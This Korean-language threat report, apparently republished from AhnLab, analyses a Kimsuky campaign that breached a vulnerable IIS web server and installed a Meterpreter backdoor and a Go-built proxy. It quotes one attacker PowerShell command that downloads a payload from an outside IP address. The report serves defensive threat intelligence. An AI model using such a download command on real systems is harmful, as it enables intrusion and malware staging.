스피어 피싱 넘어 웹 서버 공략까지! 미터프리터 이용한 김수키 공격 주의

북한 공격 그룹 김수키(Kimsuky)가 또다시 말썽을 부리고 있다. 안랩 분석팀에 따르면, 지금까지 김수키는 주로 메일에 MS 오피스 문서 파일이나 원노트(OneNote), CHM과 같은 악성 파일을 첨부하는 스피어 피싱 등 사회공학적 방식을 사용했지만, 이번에는 웹 서버를 대상으로 악성코드를 유포했다. 또한, 웹 서버 공격에 성공한 이후 메타스플로잇 미터프리터(Metasploit Meterpreter) 백도어 또는 고(Go) 언어로 개발된 프록시 악성코드를 설치한다는 특징이 있다. 이번 글에서는 웹 서버를 공격하는 김수키 공격 사례를 자세히 알아본다.

 

이번 공격 사례에서는 김수키가 국내 건축사무소의 취약점이 패치되지 않았거나 부적절하게 관리되고 있는 윈도우 IIS 웹 서버를 노린 것으로 확인된다. 공격자는 IIS 웹 서버를 공격해 파워셸(PowerShell) 명령을 실행했다. [그림 1]은 ASD(AhnLab Smart Defense) 로그, 윈도우 IIS 웹 서버 프로세스인 w3wp.exe가 파워셸을 이용해 외부에서 추가 페이로드를 다운로드하는 것을 보여준다.

[그림 1] IIS 웹 서버 프로세스가 파워쉘 명령을 실행하는 로그

실행된 파워셸 명령은 아래와 같다. 다운로드된 파일 “img.dat”은 메타스플로잇 미터프리터 백도어 악성코드이다.

> powershell.exe invoke-webrequest -uri “hxxp://45.58.52[.]82/up.dat” -outfile “c:\programdata\img.dat”

공격자는 미터프리터를 이용해 프록시(Proxy) 악성코드를 추가 설치했으며, 여기에도 파워셸 명령이 사용됐다.

 

[그림 2] 미터프리터에 의해 설치되는 프록시 악성코드

파워셸 명령으로 다운로드된 미터프리터 악성코드

메타스플로잇은 침투 테스트 목적의 프레임워크이다. 기업이나 기관의 네트워크 및 시스템에 대한 보안 취약점을 점검하는 데 사용되는 툴로, 침투 테스트 단계별로 다양한 기능을 지원한다. 미터프리터는 메타스플로잇에서 제공하는 백도어 악성코드로, 공격자의 명령을 받아 여러가지 악성 행위를 수행한다.

 

오픈소스인 메타스플로잇은 접근성이 좋아 김수키 공격 그룹을 비롯해 다양한 공격자가 꾸준히 사용한다. 과거 분석팀에서도 김수키가 미터프리터를 애플시드(AppleSeed) 악성코드와 함께 공격에 사용한 사례들을 소개했다.

 

참고로 이번 공격에 사용된 C&C 주소 외에 regsvr32.exe 프로세스를 통해 악성코드를 실행하는 방식도 김수키가 과거부터 사용해온 것과 동일하다. 공격에 사용된 악성코드는 DLL 포맷으로, regsvr32.exe 프로세스에 로드되어 동작한다.

[그림 3] regsvr32.exe 프로세스에 로드되어 동작하는 미터프리터

기존과 다른 점이 있다면, 미터프리터의 스테이저(Stager) 악성코드가 고 언어로 개발됐다는 점이다. 과거 김수키는 미터프리터 스테이저를 자체 제작한 형태 또는 VMProtect와 같은 패커로 패킹해 유포했다. 다음 문단에서 소개할 프록시 악성코드 또한 고 언어로 개발된 것으로 미루어 보아, 최근에는 악성코드를 유포할 때 진단을 우회하기 위해 고 언어를 많이 사용하는 것으로 추정된다.

[그림 4] 고 언어로 개발된 미터프리터 스테이저 악성코드

[그림 5] 미터프리터를 다운로드하는 스테이저

미터프리터를 통해 추가 설치된 프록시 악성코드

미터프리터는 공격자의 명령을 받아 파워셸 명령을 실행해 추가 악성코드를 설치했다. 파워셸 명령을 통해 다운로드된 악성코드는 프록시 기능을 담당하는 악성코드이다. 참고로 김수키 그룹은 과거부터 꾸준히 공격 과정에 프록시 악성코드를 사용하고 있다. 해당 악성코드만의 특징이라고 한다면, 과거와는 다르게 고 언어로 개발됐다는 점이다.

 

[그림 6] 프록시 악성코드의 GoLang 함수들

 

이번 공격에 사용된 프록시 악성코드는 [그림 7]과 같이 커맨드 라인 인자로 2개의 IP 주소 및 포트 번호를 전달받아 중계하는 역할을 한다. 통신 과정 검증에 사용될 것으로 추정되는 시그니처로 “aPpLe”이라는 문자열이 사용된다는 점에서 과거 프록시 툴과 차이가 있다. 또한, 악성코드 실행 시 “127.0.0.1:3389”라는 RDP(Remote Desktop Protocol) 포트가 예시로 사용되는 것을 통해 공격자의 프록시 악성코드 사용 목적이 추후 감염 대상 시스템에 RDP 연결을 위한 것으로 추정된다.

​[그림 7] 프록시 악성코드의 패킷

 

​정리하면, 김수키는 취약한 웹 서버에 미터프리터를 설치해 제어 권한을 획득했다. 서버 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존의 알려진 취약점으로부터 보호해야 한다. 또한, 외부에 공개된 서버의 경우 보안 제품을 사용해 외부로부터 접근을 통제해야 한다. 이 외에, V3를 최신 버전으로 업데이트해 악성코드로 인한 감염을 사전에 차단해야 한다.

 

 

출처 : AhnLab

02-553-2331
견적 요청
카카오톡 문의